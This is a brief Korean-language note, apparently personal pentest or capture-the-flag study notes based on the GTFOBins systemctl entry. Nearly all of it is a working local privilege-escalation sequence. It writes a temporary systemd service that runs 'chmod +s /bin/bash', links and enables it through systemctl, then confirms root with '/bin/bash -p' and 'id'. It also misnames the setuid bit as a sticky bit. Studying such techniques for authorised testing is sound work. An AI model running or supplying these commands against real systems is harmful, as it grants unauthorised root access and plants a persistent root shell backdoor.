Systemctl

https://gtfobins.github.io/gtfobins/systemctl/

 

1. systemctl 경로를 환경에 맞게 수정

2. bash 권한에 스티키 비트 추가 구문 수정

 

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF

 

위 명령 실행 후.. 스티키비트 생성 확인
$ ls -l /bin/bash

 

루트 권한 확인

$ /bin/bash -p
-p: posix모드..?

 

$ id